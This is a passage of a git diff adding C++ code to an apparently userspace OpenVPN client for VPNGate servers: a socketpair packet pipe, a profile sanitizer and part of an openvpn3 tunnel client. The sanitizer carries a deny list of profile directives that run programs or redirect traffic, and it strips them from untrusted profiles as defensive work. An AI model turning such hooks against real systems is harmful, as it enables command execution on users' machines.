datagram socket. Backs SOCKS5 UDP ASSOCIATE and the DNS resolver. +class UdpSocket { + public: + // `from` is always a literal address, never a name. + using RecvHandler = + std::function; + using SendHandler = std::function; + + virtual ~UdpSocket() = default; + + // Truncates to the buffer size, like recvfrom(2), and reports how many bytes + // were written -- the remainder of an oversized datagram is lost, which is + // the standard datagram contract and what SOCKS5 clients already handle. + virtual void async_receive_from(asio::mutable_buffer buf, RecvHandler h) = 0; + + // `to` must be a literal address; resolving is the caller's job so that it + // happens through the same egress the datagram will take. + virtual void async_send_to(asio::const_buffer buf, const Endpoint &to, + SendHandler h) = 0; + + virtual void close() = 0; + virtual bool is_open() const = 0; + virtual Endpoint local_endpoint() const = 0; +}; + +// Name resolution, performed through whatever egress owns this resolver, so a +// lookup can never leak outside the tunnel. +class Resolver { + public: + using Handler = + std::function)>; + + virtual ~Resolver() = default; + + // Addresses come back in the order the server gave them. A literal address + // string resolves to itself without a query. + virtual void async_resolve(const std::string &host, Handler h) = 0; + + virtual void clear_cache() = 0; +}; + +using TcpStreamPtr = std::shared_ptr; +using UdpSocketPtr = std::shared_ptr; + +} // namespace ovg::netstack diff --git a/src/ovpn/packet_pipe.cpp b/src/ovpn/packet_pipe.cpp new file mode 100644 index 0000000..9f48d20 --- /dev/null +++ b/src/ovpn/packet_pipe.cpp @@ -0,0 +1,154 @@ +#include "ovpn/packet_pipe.h" + +#include +#include +#include + +#include +#include + +#include "common/logging.h" +#include "common/metrics.h" + +namespace ovg::ovpn { +namespace { + +constexpr const char *kMod = "ovpn.pipe"; + +metrics::Counter *tx_dropped_metric() { + static auto *c = metrics::counter( + "ovg_tun_tx_dropped_total", + "IP packets dropped writing to the tunnel (peer queue full)"); + return c; +} + +// Asks for `want` bytes and reports what the kernel settled on. Linux doubles +// the request internally for bookkeeping, so the value read back is roughly +// 2x what was asked for -- and is capped by net.core.{r,w}mem_max when we do +// not hold CAP_NET_ADMIN, which is the normal case for us. +int set_and_read_buf(int fd, int optname, int want) { + if (want > 0) ::setsockopt(fd, SOL_SOCKET, optname, &want, sizeof(want)); + int got = 0; + socklen_t len = sizeof(got); + if (::getsockopt(fd, SOL_SOCKET, optname, &got, &len) != 0) return 0; + return got; +} + +} // namespace + +PacketPipe::PacketPipe(asio::io_context &io) : sock_(io) {} + +PacketPipe::~PacketPipe() { close(); } + +bool PacketPipe::open(int socket_buffer_bytes, std::string *err) { + if (sock_.is_open()) { + if (err) *err = "packet pipe already open"; + return false; + } + + int fds[2] = {-1, -1}; + if (::socketpair(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0, fds) != 0) { + if (err) *err = std::string("socketpair: ") + std::strerror(errno); + return false; + } + + // fds[0] is ours, fds[1] goes to openvpn3. Both directions need the buffer: + // ours holds packets the tunnel delivered until the netstack drains them, + // theirs holds packets we wrote until openvpn3 encrypts them. + granted_sndbuf_ = set_and_read_buf(fds[0], SO_SNDBUF, socket_buffer_bytes); + granted_rcvbuf_ = set_and_read_buf(fds[0], SO_RCVBUF, socket_buffer_bytes); + set_and_read_buf(fds[1], SO_SNDBUF, socket_buffer_bytes); + set_and_read_buf(fds[1], SO_RCVBUF, socket_buffer_bytes); + + std::error_code ec; + sock_.assign(asio::local::datagram_protocol(), fds[0], ec); + if (ec) { + ::close(fds[0]); + ::close(fds[1]); + if (err) *err = "assign socketpair to asio: " + ec.message(); + return false; + } + + peer_fd_ = fds[1]; + peer_released_ = false; + + if (socket_buffer_bytes > 0 && granted_sndbuf_ < socket_buffer_bytes) { + // Worth a line: the usual cause is net.core.wmem_max, and an operator + // chasing throughput needs to know the knob they set did not take effect. + LOG_INFO(kMod, + "tun socket buffers clamped by the kernel: asked {} B, got " + "snd={} B rcv={} B (raise net.core.wmem_max/rmem_max to lift it)", + socket_buffer_bytes, granted_sndbuf_, granted_rcvbuf_); + } else { + LOG_DEBUG(kMod, "tun packet pipe up: fd={} peer_fd={} snd={} rcv={}", + sock_.native_handle(), peer_fd_, granted_sndbuf_, + granted_rcvbuf_); + } + return true; +} + +int PacketPipe::release_peer_fd() { + if (peer_fd_ < 0 || peer_released_) return -1; + peer_released_ = true; + const int fd = peer_fd_; + peer_fd_ = -1; + return fd; +} + +void PacketPipe::close() { + if (peer_fd_ >= 0 && !peer_released_) { + ::close(peer_fd_); + peer_fd_ = -1; + } + if (sock_.is_open()) { + std::error_code ignored; + sock_.close(ignored); + } +} + +PacketPipe::SendStatus PacketPipe::send_packet(const void *data, size_t len) { + if (!sock_.is_open()) return SendStatus::Closed; + if (len == 0 || len > kMaxPacketSize) { + tx_dropped_.fetch_add(1, std::memory_order_relaxed); + tx_dropped_metric()->inc(); + return SendStatus::Dropped; + } + + // MSG_NOSIGNAL because a closed peer must surface as EPIPE, not SIGPIPE. + for (;;) { + const ssize_t n = ::send(sock_.native_handle(), data, len, + MSG_DONTWAIT | MSG_NOSIGNAL); + if (n >= 0) { + tx_packets_.fetch_add(1, std::memory_order_relaxed); + tx_bytes_.fetch_add(static_cast(n), std::memory_order_relaxed); + return SendStatus::Ok; + } + if (errno == EINTR) continue; + if (errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS || + errno == EMSGSIZE || errno == ENOMEM) { + tx_dropped_.fetch_add(1, std::memory_order_relaxed); + tx_dropped_metric()->inc(); + return SendStatus::Dropped; + } + // EPIPE / ECONNREFUSED / EBADF: openvpn3 closed its end. + LOG_DEBUG(kMod, "tun write failed, peer gone: {}", std::strerror(errno)); + return SendStatus::Closed; + } +} + +void PacketPipe::note_received(size_t bytes) { + rx_packets_.fetch_add(1, std::memory_order_relaxed); + rx_bytes_.fetch_add(bytes, std::memory_order_relaxed); +} + +PacketPipe::Counters PacketPipe::counters() const { + Counters c; + c.tx_packets = tx_packets_.load(std::memory_order_relaxed); + c.tx_bytes = tx_bytes_.load(std::memory_order_relaxed); + c.tx_dropped = tx_dropped_.load(std::memory_order_relaxed); + c.rx_packets = rx_packets_.load(std::memory_order_relaxed); + c.rx_bytes = rx_bytes_.load(std::memory_order_relaxed); + return c; +} + +} // namespace ovg::ovpn diff --git a/src/ovpn/packet_pipe.h b/src/ovpn/packet_pipe.h new file mode 100644 index 0000000..3f9d1e5 --- /dev/null +++ b/src/ovpn/packet_pipe.h @@ -0,0 +1,114 @@ +// The tun replacement: a socketpair that carries raw IP packets. +// +// openvpn3's TunBuilder contract says tun_builder_establish() returns a file +// descriptor "which the caller will henceforth own", and the Linux tun builder +// client wraps that descriptor in an openvpn_io::posix::stream_descriptor. It +// never issues a single tun ioctl on it, so the descriptor does not have to be +// a tun device -- one end of a socketpair works exactly as well, and needs no +// root, no CAP_NET_ADMIN and no device node. That is the hinge the whole +// userspace design turns on (docs/FEASIBILITY.md 2.2). +// +// SOCK_DGRAM, not SOCK_STREAM, and the distinction matters: a tun device +// delivers whole IP packets with framing, and a datagram socket preserves +// exactly that boundary. Over SOCK_STREAM we would have to reassemble packets +// by parsing IP length fields, and a single desync would corrupt the stream +// forever. +// +// On Linux under USE_TUN_BUILDER the core leaves tun_prefix false, so what +// crosses this pipe is bare IP -- no 4-byte address-family prefix. +#pragma once + +#include +#include + +#include +#include +#include +#include + +namespace ovg::ovpn { + +// The largest IP packet we will move. VPNGate pushes MTUs at or below 1500; +// the slack covers a server that pushes something unusual. Sizing matters +// because a datagram socket silently truncates anything larger than the read +// buffer -- no error, no short-read indication, just a corrupt packet. +inline constexpr size_t kMaxPacketSize = 4096; + +// One end of the pipe (ours, asio-driven). The other end is a bare fd that +// gets handed to openvpn3, which owns and closes it from that point on. +// +// Not thread-safe for open()/close()/release_peer_fd(): those run on the owner +// before the worker thread starts and after it exits. The counters are atomic +// so the admin endpoint can read them from anywhere. +class PacketPipe { + public: + using Socket = asio::local::datagram_protocol::socket; + + enum class SendStatus { + Ok, + Dropped, // buffer full or packet too big -- legal for IP, counted + Closed, // peer end is gone; the tunnel is down + }; + + struct Counters { + uint64_t tx_packets = 0; + uint64_t tx_bytes = 0; + uint64_t tx_dropped = 0; + uint64_t rx_packets = 0; + uint64_t rx_bytes = 0; + }; + + explicit PacketPipe(asio::io_context &io); + ~PacketPipe(); + + PacketPipe(const PacketPipe &) = delete; + PacketPipe &operator=(const PacketPipe &) = delete; + + // Creates the socketpair and adopts our end. `socket_buffer_bytes` is a + // request, not a guarantee: without CAP_NET_ADMIN the kernel clamps it to + // net.core.{r,w}mem_max, so the value actually granted is logged. + bool open(int socket_buffer_bytes, std::string *err); + + bool is_open() const { return sock_.is_open(); } + + // Transfers ownership of the far end to the caller (openvpn3). Returns -1 if + // already released or never opened. After this the pipe will not close that + // descriptor, because openvpn3's TunPersist will. + int release_peer_fd(); + bool peer_released() const { return peer_released_; } + + void close(); + + // Our end, for the netstack's async_receive loop. + Socket &socket() { return sock_; } + + // Writes one IP packet. Never blocks: on a full peer queue the packet is + // dropped and counted, which is what a real NIC transmit ring does under + // congestion and what TCP is built to recover from. Queuing here instead + // would just add latency to a path that already has an SO_SNDBUF of queue. + SendStatus send_packet(const void *data, size_t len); + + // The netstack owns the receive loop, so it reports what it read. + void note_received(size_t bytes); + + Counters counters() const; + + // Bytes the kernel actually granted, for logging and for sizing decisions. + int granted_sndbuf() const { return granted_sndbuf_; } + int granted_rcvbuf() const { return granted_rcvbuf_; } + + private: + Socket sock_; + int peer_fd_ = -1; + bool peer_released_ = false; + int granted_sndbuf_ = 0; + int granted_rcvbuf_ = 0; + + std::atomic tx_packets_{0}; + std::atomic tx_bytes_{0}; + std::atomic tx_dropped_{0}; + std::atomic rx_packets_{0}; + std::atomic rx_bytes_{0}; +}; + +} // namespace ovg::ovpn diff --git a/src/ovpn/profile_sanitizer.cpp b/src/ovpn/profile_sanitizer.cpp new file mode 100644 index 0000000..e560b69 --- /dev/null +++ b/src/ovpn/profile_sanitizer.cpp @@ -0,0 +1,321 @@ +#include "ovpn/profile_sanitizer.h" + +#include +#include +#include +#include + +#include + +#include "vpngate/csv_parser.h" + +namespace ovg::ovpn { +namespace { + +std::string_view trim(std::string_view s) { + size_t b = 0, e = s.size(); + while (b < e && std::isspace(static_cast(s[b]))) ++b; + while (e > b && std::isspace(static_cast(s[e - 1]))) --e; + return s.substr(b, e - b); +} + +std::string lower(std::string_view s) { + std::string r(s); + std::transform(r.begin(), r.end(), r.begin(), + [](unsigned char c) { return std::tolower(c); }); + return r; +} + +// Directives removed for safety. Three families: +// - hooks that name a program to run, +// - process/host state we have no business changing (and, running as an +// unprivileged user, could not anyway), +// - transport redirection, which would move our packets somewhere the +// selector never measured. +const std::unordered_set &denied() { + static const std::unordered_set s = { + // Script hooks -- arbitrary command execution. + "up", "down", "down-pre", "up-delay", "up-restart", "route-up", + "route-pre-down", "ipchange", "tls-verify", "tls-export-cert", + "client-connect", "client-disconnect", "learn-address", + "auth-user-pass-verify", "script-security", "plugin", "askpass", + + // Process and host state. + "daemon", "user", "group", "chroot", "cd", "setcon", "service", + "writepid", "log", "log-append", "status", "status-version", "iproute", + "register-dns", "dhcp-renew", "dhcp-release", "show-net-up", "win-sys", + "block-outside-dns", + + // Management interface: an unauthenticated control socket by default. + "management", "management-client", "management-client-auth", + "management-client-pf", "management-client-user", + "management-client-group", "management-external-cert", + "management-external-key", "management-forget-disconnect", + "management-hold", "management-log-cache", "management-query-passwords", + "management-query-proxy", "management-query-remote", "management-signal", + "management-up-down", + + // Transport redirection. + "http-proxy", "http-proxy-option", "http-proxy-retry", + "http-proxy-timeout", "socks-proxy", "socks-proxy-retry", + + // Interface addressing: ours to decide, not the profile's. A local + // ifconfig here would fight the addresses the server pushes. + "ifconfig", "ifconfig-ipv6", "ifconfig-noexec", "dev-node", "dev-type", + + // Server-side directive; meaningless (and confusing) in a client profile. + "push", + }; + return s; +} + +// Directives we drop from the input because we emit our own canonical version. +// Not reported as "dropped": that would be noise on every single profile. +const std::unordered_set ®enerated() { + static const std::unordered_set s = { + "client", "pull", "tls-client", "dev", + "nobind", "bind", "local", "lport", + "verb", "remote", "proto", "rport", + "port", "remote-random", "remote-random-hostname", + "resolv-retry", "persist-tun", "persist-key", + }; + return s; +} + +// Inline blocks worth keeping: keys, certificates and the pre-shared material +// that goes with them. Anything else is dropped whole -- notably , +// which is an alternative way to smuggle in remotes we did not score. +const std::unordered_set &kept_blocks() { + static const std::unordered_set s = { + "ca", "cert", "key", "extra-certs", "dh", + "tls-auth", "tls-crypt", "tls-crypt-v2", "secret", "pkcs12", + "crl-verify", + }; + return s; +} + +std::vector tokenize(std::string_view line) { + std::vector tok; + size_t i = 0; + while (i < line.size()) { + while (i < line.size() && std::isspace(static_cast(line[i]))) + ++i; + const size_t start = i; + while (i < line.size() && !std::isspace(static_cast(line[i]))) + ++i; + if (i > start) tok.push_back(line.substr(start, i - start)); + } + return tok; +} + +// A profile is text. Anything that is not printable, tab, CR or LF means we are +// looking at binary garbage (a truncated base64 decode, say), and passing it to +// an option parser is not something to do hopefully. +bool looks_like_text(const std::string &s, size_t *bad_offset) { + for (size_t i = 0; i < s.size(); ++i) { + const unsigned char c = static_cast(s[i]); + if (c == '\t' || c == '\r' || c == '\n') continue; + if (c < 0x20 || c == 0x7f) { + *bad_offset = i; + return false; + } + } + return true; +} + +} // namespace + +bool is_denied_directive(std::string_view name) { + return denied().count(name) > 0; +} + +bool is_kept_inline_block(std::string_view tag) { + return kept_blocks().count(tag) > 0; +} + +bool sanitize_profile(const std::string &raw, const SanitizeOptions &opt, + SanitizedProfile *out, std::string *err) { + *out = SanitizedProfile{}; + + if (raw.empty()) { + if (err) *err = "empty profile"; + return false; + } + if (raw.size() > opt.max_bytes) { + if (err) + *err = fmt::format("profile is {} bytes, limit is {}", raw.size(), + opt.max_bytes); + return false; + } + size_t bad = 0; + if (!looks_like_text(raw, &bad)) { + if (err) + *err = fmt::format("profile contains a control byte at offset {}", bad); + return false; + } + + std::set dropped; + std::string body; + body.reserve(raw.size()); + + bool in_block = false; + bool block_kept = false; + std::string block_tag; + size_t line_no = 0; + + const std::string_view rv(raw); + size_t pos = 0; + while (pos <= rv.size()) { + const size_t nl = rv.find('\n', pos); + std::string_view line = rv.substr( + pos, nl == std::string_view::npos ? std::string_view::npos : nl - pos); + pos = (nl == std::string_view::npos) ? rv.size() + 1 : nl + 1; + + if (++line_no > opt.max_lines) { + if (err) *err = fmt::format("profile exceeds {} lines", opt.max_lines); + return false; + } + + const std::string_view t = trim(line); + + if (in_block) { + if (t.size() > 3 && t.rfind("' && + lower(t.substr(2, t.size() - 3)) == block_tag) { + if (block_kept) body.append("\n"); + in_block = false; + block_kept = false; + block_tag.clear(); + } else if (block_kept) { + // Payload lines pass through untouched apart from surrounding + // whitespace (a stray CR would otherwise land inside the PEM). No + // comment stripping: '#' is a legal byte in base64-adjacent data. + body.append(t); + body.push_back('\n'); + } + continue; + } + + if (t.empty() || t.front() == '#' || t.front() == ';') continue; + + // Opening inline block? + if (t.front() == '<' && t.back() == '>' && t.rfind("has_ca = true; + if (block_tag == "cert" || block_tag == "pkcs12") + out->has_client_cert = true; + body.append("<").append(block_tag).append(">\n"); + } else { + dropped.insert("<" + block_tag + ">"); + } + continue; + } + + const auto tok = tokenize(t); + if (tok.empty()) continue; + const std::string name = lower(tok[0]); + + if (name == "dev" && tok.size() >= 2 && + lower(tok[1]).rfind("tap", 0) == 0) { + // Layer 2 would hand us Ethernet frames; lwIP is wired up for layer 3 + // and nothing downstream knows what to do with an ARP request. Rejecting + // here gives a clear reason instead of a confusing failure at tun setup. + if (err) *err = "profile requests a TAP (layer 2) device; only TUN is supported"; + return false; + } + + if (name == "ca" || name == "cert" || name == "key" || + name == "pkcs12" || name == "tls-auth" || name == "tls-crypt" || + name == "secret" || name == "dh" || name == "crl-verify" || + name == "extra-certs") { + // File-reference form. We have no file to point at -- the profile + // arrived over HTTP as one blob -- so this cannot be honoured, and + // silently keeping it would make openvpn3 try to open a path. + dropped.insert(name + " (file reference)"); + continue; + } + + if (name == "auth-user-pass") { + // Credentials come from provide_creds(), never from a file on disk. + out->wants_userpass = true; + if (tok.size() >= 2) dropped.insert("auth-user-pass (file reference)"); + body.append("auth-user-pass\n"); + continue; + } + + if (name == "peer-fingerprint") { + out->has_ca = true; // an alternative to a CA, and a stronger one + body.append(t); + body.push_back('\n'); + continue; + } + + if (!opt.allow_compression && + (name == "comp-lzo" || name == "compress" || name == "comp-noadapt")) { + dropped.insert(name); + continue; + } + + if (is_denied_directive(name)) { + dropped.insert(name); + continue; + } + if (regenerated().count(name)) continue; + + body.append(t); + body.push_back('\n'); + } + + if (in_block) { + if (err) *err = "unterminated inline <" + block_tag + "> block"; + return false; + } + + // Which remote do we dial? The pinned one if the selector gave us one, + // otherwise whatever the profile declared (parsed by the same code the node + // list uses, so the two can never disagree). + if (opt.pin_remote) { + out->remotes.push_back(*opt.pin_remote); + } else { + out->remotes = vpngate::extract_remotes(raw); + } + if (out->remotes.empty()) { + if (err) *err = "profile declares no usable remote"; + return false; + } + if (!out->has_ca) { + if (err) *err = "profile has neither an inline nor a peer-fingerprint"; + return false; + } + + const int verb = std::clamp(opt.verb, 0, 6); + + std::string head; + head.reserve(256 + body.size()); + head += "# sanitized by openvpngate -- see src/ovpn/profile_sanitizer.cpp\n"; + head += "client\n"; + head += "dev tun\n"; + head += "nobind\n"; + // No persist-key / resolv-retry / persist-tun here even though a hand-written + // client profile would carry them: openvpn3 does all three unconditionally + // and reports anything it did not consume as "Unsupported option (ignored)". + // Emitting them would put three warning lines in the log on every single + // connection, which is how logs stop being read. + head += fmt::format("verb {}\n", verb); + for (const auto &r : out->remotes) { + head += fmt::format("remote {} {} {}\n", r.host, r.port, + vpngate::proto_name(r.proto)); + } + // A global proto as well: some option paths in the core consult it before + // the per-remote value, and the two agreeing costs nothing. + head += fmt::format("proto {}\n", vpngate::proto_name(out->remotes.front().proto)); + + out->text = head + body; + out->dropped.assign(dropped.begin(), dropped.end()); + return true; +} + +} // namespace ovg::ovpn diff --git a/src/ovpn/profile_sanitizer.h b/src/ovpn/profile_sanitizer.h new file mode 100644 index 0000000..d33d199 --- /dev/null +++ b/src/ovpn/profile_sanitizer.h @@ -0,0 +1,69 @@ +// Rewrites a VPNGate .ovpn profile into something we are willing to feed to +// openvpn3. +// +// The profiles come from the last column of a public, unauthenticated API and +// are authored by anonymous volunteers. Two separate problems follow from that: +// +// 1. Safety. An OpenVPN profile is a small programming language: `up`, `down`, +// `tls-verify`, `plugin` and friends name programs to execute, and +// `http-proxy` / `socks-proxy` redirect our transport somewhere of the +// profile's choosing. openvpn3 implements none of the script hooks, so +// today most of these are inert -- but "inert in the version we happen to +// link" is not a security property. They are stripped here so the guarantee +// holds regardless of what the core does with them tomorrow. +// +// 2. Determinism. The selector scores one specific remote. If the profile is +// passed through untouched, the core is free to pick any remote it lists, +// in any order, and the node we measured is not necessarily the node we +// connect to. Pinning the remote makes the measurement mean something. +// +// Everything else is kept verbatim. A denylist rather than an allowlist is +// deliberate: an allowlist would break the first time a volunteer's server +// pushed a directive we had not thought of, and the hazards here are a small, +// enumerable set. +#pragma once + +#include +#include +#include + +#include "vpngate/node.h" + +namespace ovg::ovpn { + +struct SanitizeOptions { + // The remote the selector chose. All remote/proto/port directives in the + // input are replaced by this one. Null keeps whatever the profile declares + // (used by the unit tests and by anyone connecting to a hand-written file). + const vpngate::Remote *pin_remote = nullptr; + + bool allow_compression = true; + int verb = 3; + + // Guards against a pathological or hostile row. A real profile is 3-8 KB. + size_t max_bytes = 512 * 1024; + size_t max_lines = 20000; +}; + +struct SanitizedProfile { + std::string text; + + // Directive names removed, deduplicated and sorted. Logged once per + // connection: a name appearing here that we expected to keep is the first + // sign that a profile is doing something out of the ordinary. + std::vector dropped; + + std::vector remotes; + bool has_ca = false; + bool has_client_cert = false; + bool wants_userpass = false; // profile carries auth-user-pass +}; + +bool sanitize_profile(const std::string &raw, const SanitizeOptions &opt, + SanitizedProfile *out, std::string *err); + +// Exposed for testing. +bool is_denied_directive(std::string_view name); +bool is_kept_inline_block(std::string_view tag); + +} // namespace ovg::ovpn diff --git a/src/ovpn/tunnel_client.cpp b/src/ovpn/tunnel_client.cpp new file mode 100644 index 0000000..f479a1b --- /dev/null +++ b/src/ovpn/tunnel_client.cpp @@ -0,0 +1,755 @@ +#include "ovpn/tunnel_client.h" + +#include +#include + +#include + +#include "common/logging.h" +#include "common/metrics.h" +#include "ovpn/profile_sanitizer.h" + +#if OVG_WITH_TUNNEL +#include +#endif + +namespace ovg::ovpn { +namespace { + +constexpr const char *kMod = "ovpn"; +constexpr const char *kCoreMod = "ovpn3"; + +// A pushed route list is not load-bearing for us -- every packet goes to the +// tunnel netif regardless -- so we keep a bounded sample for the admin +// endpoint and let the rest go. +constexpr size_t kMaxCapturedRoutes = 64; + +metrics::Counter *starts() { + static auto *c = metrics::counter("ovg_tunnel_starts_total", + "OpenVPN sessions started"); + return c; +} +metrics::Counter *ups() { + static auto *c = metrics::counter("ovg_tunnel_up_total", + "OpenVPN sessions that reached CONNECTED"); + return c; +} +metrics::Counter *failures() { + static auto *c = metrics::counter( + "ovg_tunnel_failures_total", + "OpenVPN sessions that ended without ever reaching CONNECTED"); + return c; +} +#if OVG_WITH_TUNNEL +metrics::Counter *reconnects() { + static auto *c = metrics::counter("ovg_tunnel_reconnects_total", + "In-session reconnects reported by the core"); + return c; +} +#endif +metrics::Gauge *active() { + static auto *g = metrics::gauge("ovg_tunnels_active", + "OpenVPN sessions currently up"); + return g; +} + +} // namespace + +const char *tunnel_state_name(TunnelState s) { + switch (s) { + case TunnelState::Idle: return "idle"; + case TunnelState::Connecting: return "connecting"; + case TunnelState::Up: return "up"; + case TunnelState::Reconnecting: return "reconnecting"; + case TunnelState::Down: return "down"; + } + return "?"; +} + +// --------------------------------------------------------------------------- +// Impl: everything that touches openvpn3. +// --------------------------------------------------------------------------- + +#if OVG_WITH_TUNNEL + +class TunnelClient::Impl : public openvpn::ClientAPI::OpenVPNClient { + public: + Impl(std::weak_ptr owner, PacketPipe *pipe, OvpnConfig cfg, + std::string node_id) + : owner_(std::move(owner)), + pipe_(pipe), + cfg_(std::move(cfg)), + node_id_(std::move(node_id)) {} + + // Worker thread body. + void run(openvpn::ClientAPI::Config cc); + + // Safe from any thread, before or after connect() is running. + void request_stop() { + stop_requested_.store(true, std::memory_order_relaxed); + if (connecting_.load(std::memory_order_acquire)) stop(); + } + + TunnelCounters counters() const; + bool ever_up() const { return ever_up_.load(std::memory_order_relaxed); } + + // --- TunBuilderBase ----------------------------------------------------- + bool tun_builder_new() override; + bool tun_builder_set_layer(int layer) override; + bool tun_builder_set_remote_address(const std::string &address, + bool ipv6) override; + bool tun_builder_add_address(const std::string &address, int prefix_length, + const std::string &gateway, bool ipv6, + bool net30) override; + bool tun_builder_reroute_gw(bool ipv4, bool ipv6, unsigned int flags) override; + bool tun_builder_add_route(const std::string &address, int prefix_length, + int metric, bool ipv6) override; + bool tun_builder_exclude_route(const std::string &address, int prefix_length, + int metric, bool ipv6) override; + bool tun_builder_set_dns_options(const openvpn::DnsOptions &dns) override; + bool tun_builder_set_mtu(int mtu) override; + bool tun_builder_set_session_name(const std::string &name) override; + bool tun_builder_add_proxy_bypass(const std::string &host) override; + bool tun_builder_set_proxy_auto_config_url(const std::string &url) override; + bool tun_builder_set_proxy_http(const std::string &host, int port) override; + bool tun_builder_set_proxy_https(const std::string &host, int port) override; + bool tun_builder_add_wins_server(const std::string &address) override; + bool tun_builder_set_route_metric_default(int metric) override { return true; } + bool tun_builder_set_allow_family(int af, bool allow) override { return true; } + bool tun_builder_set_allow_local_dns(bool allow) override { return true; } + int tun_builder_establish() override; + bool tun_builder_persist() override { return true; } + void tun_builder_establish_lite() override; + void tun_builder_teardown(bool disconnect) override; + std::vector tun_builder_get_local_networks(bool ipv6) override { + return {}; + } + + // --- OpenVPNClient ------------------------------------------------------ + void event(const openvpn::ClientAPI::Event &ev) override; + void acc_event(const openvpn::ClientAPI::AppCustomControlMessageEvent &ev) + override; + void log(const openvpn::ClientAPI::LogInfo &li) override; + void external_pki_cert_request( + openvpn::ClientAPI::ExternalPKICertRequest &req) override; + void external_pki_sign_request( + openvpn::ClientAPI::ExternalPKISignRequest &req) override; + + // We would rather fail over to one of the ninety-odd other nodes than sit + // in PAUSE on a server that has stopped answering. + bool pause_on_connection_timeout() override { return false; } + + // Nothing to protect. The classic reason for this callback is that the + // client rewrites the host routing table, so the transport socket to the VPN + // server would otherwise route back into the tunnel it is carrying. We never + // touch host routing -- the tunnel lives entirely in this process -- so the + // kernel routes this socket like any other and no loop is possible. + bool socket_protect(openvpn_io::detail::socket_type socket, std::string remote, + bool ipv6) override { + return true; + } + + private: + void emit(TunnelState s, std::string detail, bool with_info); + + std::weak_ptr owner_; + PacketPipe *pipe_; + OvpnConfig cfg_; + std::string node_id_; + + mutable std::mutex mu_; // guards pending_ + TunnelInfo pending_; + int establish_count_ = 0; + size_t route_count_ = 0; + + std::atomic stop_requested_{false}; + std::atomic connecting_{false}; + std::atomic ever_up_{false}; +}; + +void TunnelClient::Impl::emit(TunnelState s, std::string detail, + bool with_info) { + TunnelInfo snapshot; + if (with_info) { + std::lock_guard lk(mu_); + snapshot = pending_; + } + if (auto owner = owner_.lock()) + owner->post_state(s, std::move(snapshot), std::move(detail)); +} + +void TunnelClient::Impl::run(openvpn::ClientAPI::Config cc) { + using openvpn::ClientAPI::EvalConfig; + using openvpn::ClientAPI::ProvideCreds; + using openvpn::ClientAPI::Status; + + try { + const EvalConfig eval = eval_config(cc); + if (eval.error) { + emit(TunnelState::Down, "profile rejected: " + eval.message, false); + return; + } + LOG_DEBUG(kMod, "{}: profile ok, remote={}:{}/{} autologin={}", node_id_, + eval.remoteHost, eval.remotePort, eval.remoteProto, + eval.autologin); + + if (!eval.autologin) { + // Most VPNGate profiles carry the shared client certificate and need no + // credentials at all; the ones that do accept anything, and the operator + // can override the pair in [ovpn] if some node ever gets picky. + ProvideCreds creds; + creds.username = cfg_.username; + creds.password = cfg_.password; + const Status cs = provide_creds(creds); + if (cs.error) { + emit(TunnelState::Down, "credentials rejected: " + cs.message, false); + return; + } + } + + if (stop_requested_.load(std::memory_order_relaxed)) { + emit(TunnelState::Down, "stopped before connect", false); + return; + } + + connecting_.store(true, std::memory_order_release); + if (stop_requested_.load(std::memory_order_relaxed)) stop(); + + const Status st = connect(); // blocks for the life of the session + + std::string why; + if (st.error) + why = st.status.empty() ? st.message : st.status + ": " + st.message; + else + why = "session ended"; + emit(TunnelState::Down, std::move(why), false); + } catch (const std::exception &e) { + emit(TunnelState::Down, std::string("openvpn3 threw: ") + e.what(), false); + } catch (...) { + emit(TunnelState::Down, "openvpn3 threw a non-standard exception", false); + } +} + +TunnelCounters TunnelClient::Impl::counters() const { + TunnelCounters c; + if (!connecting_.load(std::memory_order_acquire)) return c; + try { + const auto ts = transport_stats(); + const auto is = tun_stats(); + c.transport_bytes_in = ts.bytesIn; + c.transport_bytes_out = ts.bytesOut; + c.tun_bytes_in = is.bytesIn; + c.tun_bytes_out = is.bytesOut; + // The core counts in "binary milliseconds" (1/1024 s); convert so callers + // are not quietly 2.4% out when they compare against a wall-clock budget. + c.last_packet_received_ms = + ts.lastPacketReceived < 0 + ? -1 + : static_cast((static_cast(ts.lastPacketReceived) * + 1000) / 1024); + c.valid = true; + } catch (const std::exception &e) { + LOG_DEBUG(kMod, "{}: stats unavailable: {}", node_id_, e.what()); + } + return c; +} + +bool TunnelClient::Impl::tun_builder_new() { + std::lock_guard lk(mu_); + pending_ = TunnelInfo{}; + route_count_ = 0; + return true; +} + +bool TunnelClient::Impl::tun_builder_set_layer(int layer) { + if (layer != 3) { + LOG_WARN(kMod, "{}: server wants OSI layer {}; only layer 3 is supported", + node_id_, layer); + return false; + } + return true; +} + +bool TunnelClient::Impl::tun_builder_set_remote_address( + const std::string &address, bool ipv6) { + std::lock_guard lk(mu_); + pending_.server_ip = address; + return true; +} + +bool TunnelClient::Impl::tun_builder_add_address(const std::string &address, + int prefix_length, + const std::string &gateway, + bool ipv6, bool net30) { + std::lock_guard lk(mu_); + if (ipv6) { + pending_.ipv6 = address; + pending_.prefix6 = prefix_length; + } else { + pending_.ipv4 = address; + pending_.prefix4 = prefix_length; + pending_.gateway4 = gateway; + } + return true; +} + +bool TunnelClient::Impl::tun_builder_reroute_gw(bool ipv4, bool ipv6, + unsigned int flags) { + std::lock_guard lk(mu_); + pending_.redirect_gateway = ipv4 || ipv6; + return true; +} + +bool TunnelClient::Impl::tun_builder_add_route(const std::string &address, + int prefix_length, int metric, + bool ipv6) { + std::lock_guard lk(mu_); + if (++route_count_ <= kMaxCapturedRoutes) + pending_.routes.push_back(address + "/" + std::to_string(prefix_length)); + return true; +} + +bool TunnelClient::Impl::tun_builder_exclude_route(const std::string &address, + int prefix_length, + int metric, bool ipv6) { + // There is no host routing table for an excluded route to be excluded from: + // every packet the netstack produces goes to the tunnel by construction. + return true; +} + +bool TunnelClient::Impl::tun_builder_set_dns_options( + const openvpn::DnsOptions &dns) { + std::lock_guard lk(mu_); + pending_.dns.clear(); + // std::map keyed by priority, so iteration is already in the + // order the server intended. + for (const auto &[priority, server] : dns.servers) { + for (const auto &a : server.addresses) { + if (!a.address.empty()) pending_.dns.push_back(a.address); + } + } + return true; +} + +bool TunnelClient::Impl::tun_builder_set_mtu(int mtu) { + std::lock_guard lk(mu_); + if (mtu <= 0 || static_cast(mtu) > kMaxPacketSize) { + // Not fatal -- the default is workable, and refusing here would throw away + // an otherwise fine node over one bad pushed option. + LOG_WARN(kMod, "{}: server pushed MTU {}, outside [1, {}]; keeping {}", + node_id_, mtu, kMaxPacketSize, pending_.mtu); + return true; + } + pending_.mtu = mtu; + return true; +} + +bool 